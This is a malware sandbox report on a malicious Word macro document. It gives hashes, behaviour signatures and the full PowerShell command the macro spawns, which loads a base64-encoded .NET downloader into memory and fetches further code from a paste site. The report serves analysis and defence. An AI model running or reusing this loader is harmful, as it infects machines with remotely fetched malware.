Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
121s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
-
submitted
23/08/2024, 09:06
General
-
Target
bb1d741b3cd16e1e95e46a9896bafee3_JaffaCakes118.docm
-
Size
40KB
-
MD5
bb1d741b3cd16e1e95e46a9896bafee3
-
SHA1
b713457ae790b72b2ddb59635856df29b5f78f06
-
SHA256
ff4827dd05be0be2fa3bb4a421bcad69f2a42a40a4949f8bcb39f2dd49bb9e4c
-
SHA512
7205cedd7ac05faad01a87797503aaa613505602356884d2a59a03fcf44f26e62cf3665166b00526d0119913c642a5d011520b8b46b88f2d8c59e721a861ba7d
-
SSDEEP
768:docWKs/icV5i5rrpeVKCX/Yt7zMWI7z/0MAj/LK2pfNa0tqvT4Jv7si:CGsA7eVKCPKuUMAjDKONa0tqvT4Jv7T
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 1 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bb1d741b3cd16e1e95e46a9896bafee3_JaffaCakes118.docm"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /c [Byte[]]$code_ = [System.Convert]::FromBase64String('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AQAAASUAfggBAAABJwBKCAEAAAEpAGAIAQAAASsAvAgBAASAAAABAAAAAAAAAAAAAAAAAAsAAAACAAAAAAAAAAAAAAD4AJoAAAAAAAIAAAAAAAAAAAAAAPgA1AQAAAAACAAAAAAAAAAAAAAAAQGjAAAAAAAAAAAAAQAAAMYGAAAGAAUABwAFAAAAAAAAUmVzZXJ2ZWQxAFdpbmRvd3NGb3Jtc0FwcGxpY2F0aW9uMQBUb0ludDMyAFJlc2VydmVkMgBUb0ludDE2ADxNb2R1bGU+AFJ1blBFAGdldF9BU0NJSQBTVEFSVFVQX0lORk9STUFUSU9OAFByb2Nlc3NfSU5GT1JNQVRJT04AU3lzdGVtLklPAFByb2plY3REYXRhAGRhdGEAbXNjb3JsaWIATWljcm9zb2Z0LlZpc3VhbEJhc2ljAE1pc2MAVGhyZWFkSWQAUHJvY2Vzc0lkAEdldFByb2Nlc3NCeUlkAGJ5dGVzUmVhZABSZXN1bWVUaHJlYWQAdGhyZWFkAFN5bmNocm9uaXplZABjbWQAZGVmYXVsdEluc3RhbmNlAEdldEVudmlyb25tZW50VmFyaWFibGUAY29tcGF0aWJsZQBUaHJlYWRIYW5kbGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAUHJvY2Vzc0hhbmRsZQBoYW5kbGUARmlsZQBUaXRsZQBhcHBsaWNhdGlvbk5hbWUAY29tbWFuZExpbmUAVmFsdWVUeXBlAHR5cGUAZ2V0X0N1bHR1cmUAc2V0X0N1bHR1cmUAcmVzb3VyY2VDdWx0dXJlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAEVkaXRvckJyb3dzYWJsZVN0YXRlAERlbGV0ZQBTVEFUaHJlYWRBdHRyaWJ1dGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBHZW5lcmF0ZWRDb2RlQXR0cmlidXRlAERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAFN1cHByZXNzVW5tYW5hZ2VkQ29kZVNlY3VyaXR5QXR0cmlidXRlAEJ5dGUAdmFsdWUAV2luZG93c0Zvcm1zQXBwbGljYXRpb24xLmV4ZQBnZXRfU2l6ZQBidWZmZXJTaXplAFNpemVPZgBFbmNvZGluZwBGcm9tQmFzZTY0U3RyaW5nAERvd25sb2FkU3RyaW5nAEdldFN0cmluZwBHZXRGb2xkZXJQYXRoAHBhdGgAbGVuZ3RoAE1hcnNoYWwAU3lzdGVtLkNvbXBvbmVudE1vZGVsAGtlcm5lbDMyLmRsbABudGRsbC5kbGwAUHJvZ3JhbQBTeXN0ZW0AcmVzb3VyY2VNYW4AYnl0ZXNXcml0dGVuAE1haW4ATnVjbGVhcl9FeHBsb3Npb24AUHJvY2Vzc0luZm9ybWF0aW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAE50VW5tYXBWaWV3T2ZTZWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBIYW5kbGVSdW4AQ3VsdHVyZUluZm8Ac3RhcnR1cEluZm8AWmVybwBEZXNrdG9wAFNwZWNpYWxGb2xkZXIAQnVmZmVyAGJ1ZmZlcgBnZXRfUmVzb3VyY2VNYW5hZ2VyAFN5c3RlbS5Db2RlRG9tLkNvbXBpbGVyAEJpdENvbnZlcnRlcgBTdGRFcnJvcgBDbGVhclByb2plY3RFcnJvcgBTZXRQcm9qZWN0RXJyb3IALmN0b3IALmNjdG9yAEludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJlc291cmNlcwBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbjEuUHJvcGVydGllcy5SZXNvdXJjZXMucmVzb3VyY2VzAERlYnVnZ2luZ01vZGVzAFdpbmRvd3NGb3Jtc0FwcGxpY2F0aW9uMS5Qcm9wZXJ0aWVzAGluaGVyaXRIYW5kbGVzAHRocmVhZEF0dHJpYnV0ZXMAUHJvY2Vzc0F0dHJpYnV0ZXMAV3JpdGVBbGxCeXRlcwBHZXRCeXRlcwBjcmVhdGlvbkZsYWdzAFNldHRpbmdzAENyZWF0ZVByb2Nlc3MAYmFzZUFkZHJlc3MAYWRkcmVzcwBFeGlzdHMAQ29uY2F0AE9iamVjdABwcm90ZWN0AFN5c3RlbS5OZXQARW52aXJvbm1lbnRWYXJpYWJsZVRhcmdldABnZXRfRGVmYXVsdABXZWJDbGllbnQARW52aXJvbm1lbnQAZW52aXJvbm1lbnQAQ29udmVydABTdGRJbnB1dABTdGRPdXRwdXQAU3lzdGVtLlRleHQAV293NjRHZXRUaHJlYWRDb250ZXh0AFdvdzY0U2V0VGhyZWFkQ29udGV4dABjb250ZXh0AFZpcnR1YWxBbGxvY0V4AEFycmF5AGdldF9Bc3NlbWJseQBCbG9ja0NvcHkAUmVhZFByb2Nlc3NNZW1vcnkAV3JpdGVQcm9jZXNzTWVtb3J5AGN1cnJlbnREaXJlY3RvcnkAU3lzdGVtLlNlY3VyaXR5AElzTnVsbE9yRW1wdHkAAAAAWWEASABSADAAYwBIAE0ANgBMAHkAOQB3AFkAWABOADAAWgBXAEoAcABiAGkANQBqAGIAMgAwAHYAYwBtAEYAMwBMADAAaABSAGQARQBZADIAUwBEAGMAegAAWWEASABSADAAYwBIAE0ANgBMAHkAOQB3AFkAWABOADAAWgBXAEoAcABiAGkANQBqAGIAMgAwAHYAYwBtAEYAMwBMADIAaABsAGMARgBkAEQAYQBVAHAARwAADVcASQBOAEQASQBSAABdXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsAXAB2ADIALgAwAC4A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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAMAAAAdDwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');[Reflection.Assembly]::Load($code_).EntryPoint.Invoke($Null,$Null);2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
